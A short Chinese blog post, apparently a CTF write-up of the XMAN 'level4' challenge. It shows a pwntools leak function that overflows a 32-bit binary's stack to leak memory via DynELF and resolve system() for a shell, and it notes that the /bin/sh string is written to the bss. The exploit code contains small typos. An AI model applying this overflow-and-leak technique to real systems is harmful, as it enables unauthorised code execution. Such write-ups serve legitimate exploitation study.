XMAN的level4,逻辑很简单,可以覆盖返回地址,但是由于没有提供libc,需要用pwntools的DynELF泄露libc信息
用DynELF的条件是可以实现任意地址读,并且每次读完可以恢复到溢出点。
def leak(address):
payload = 'a'*0x8c + p32(0x08048340) + p32(main) + p32(1) +p32(address) + p32(4)’z
p.send(payload)
data = p.recv(4)
print "%#x %s" % (address, hex(u32(data)))
return data
d=DynELF(leak,elf=ELF('./'))
system_addr=d.lookup('system','libc')
·
不过DynELF没法查找/bin/sh字符串,这道题可以任意地址写所以写到bss段里然后用system调用。
大佬说可以泄露了几个地址后用libc database来查版本,这样顺带就把/bin/sh也找出来了。
再说说遇到的坑吧,萌新总是遇到坑
一开始leak函数这里返回地址我是覆盖为溢出点所在的函数,这样也可以完成leak libc,但是之后调试时候明明看到system("/bin/sh")但是就是拿不到shell......后来把返回地址覆盖为main函数就没问题了......据大佬讲啊可能是环境变量被覆盖了> <
这个卡了好久,以后要留神。
网友评论